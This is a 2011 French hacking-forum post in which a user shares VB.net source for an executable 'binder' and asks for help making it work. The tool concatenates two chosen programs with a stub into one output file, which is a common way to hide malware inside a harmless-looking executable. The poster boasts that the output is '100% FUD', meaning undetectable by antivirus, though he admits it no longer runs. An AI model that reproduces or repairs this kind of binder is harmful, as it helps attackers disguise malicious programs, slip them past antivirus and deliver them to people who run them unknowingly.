Apprendre le Hack Index du Forum
Apprendre le Hack

 
Apprendre le Hack Index du ForumFAQRechercherS’enregistrerConnexion

:: Source Binder VB.net by aDn ::

 
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié
Sujet précédent :: Sujet suivant  
Auteur Message
Inf3rnus
Administrateur

Hors ligne

Inscrit le: 22 Aoû 2011
Messages: 196

MessagePosté le: Dim 11 Déc - 10:10 (2011)    Sujet du message: Source Binder VB.net by aDn Répondre en citant

Voilà je vous présentes mon binder coder en VB, le problème est que le fichier devient FUD 100% mais ne marche plus ><
Donc si quelqu'un sais comment faire merci de m'aider. Je penses que le stub n'est pas bon...

Code source:

  1. Public Class Form1  
  2.   
  3.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click  
  4.         Dim ofd As New OpenFileDialog  
  5.         ofd.Title = ""  
  6.         ofd.Filter = "*.exe | *.exe"  
  7.         ofd.Title = "File 1"  
  8.         If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox1.Text = ofd.FileName  
  9.         ofd.Title = "File 2"  
  10.         If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then TextBox2.Text = ofd.FileName  
  11.     End Sub  
  12.   
  13.     Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click  
  14.         Dim stub, File_One, File_Two, Filename1, filename2 As String  
  15.         Const FileSplit = "47150"  
  16.         FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)  
  17.         File_One = Space(LOF(1))  
  18.         FileGet(1, File_One)  
  19.         FileClose(1)  
  20.   
  21.         FileOpen(2, TextBox2.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)  
  22.         File_Two = Space(LOF(2))  
  23.         FileGet(2, File_Two)  
  24.         FileClose(2)  
  25.   
  26.         FileOpen(3, Application.StartupPath & "\BindFiles.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)  
  27.         stub = Space(LOF(3))  
  28.         FileGet(3, stub)  
  29.         FileClose(3)  
  30.         Dim OutputFile As String  
  31.         Dim sfd As New SaveFileDialog  
  32.         sfd.Filter = "*.exe | *.exe"  
  33.         If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then  
  34.             OutputFile = sfd.FileName  
  35.         Else : Exit Sub  
  36.         End If  
  37.         Filename1 = TextBox1.Text.Substring(TextBox1.Text.LastIndexOf("\"))  
  38.         filename2 = TextBox2.Text.Substring(TextBox2.Text.LastIndexOf("\"))  
  39.         FileOpen(3, OutputFile, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)  
  40.         FilePut(3, stub & FileSplit & File_One & FileSplit & File_Two & FileSplit & Filename1 & FileSplit & filename2)  
  41.         FileClose(3)  
  42.         MsgBox("Binded")  
  43.         Me.Close()  
  44.     End Sub  
  45.   
  46.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load  
  47.   
  48.     End Sub  
  49. End Class  


Revenir en haut
Publicité






MessagePosté le: Dim 11 Déc - 10:10 (2011)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers:  




Index | creer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com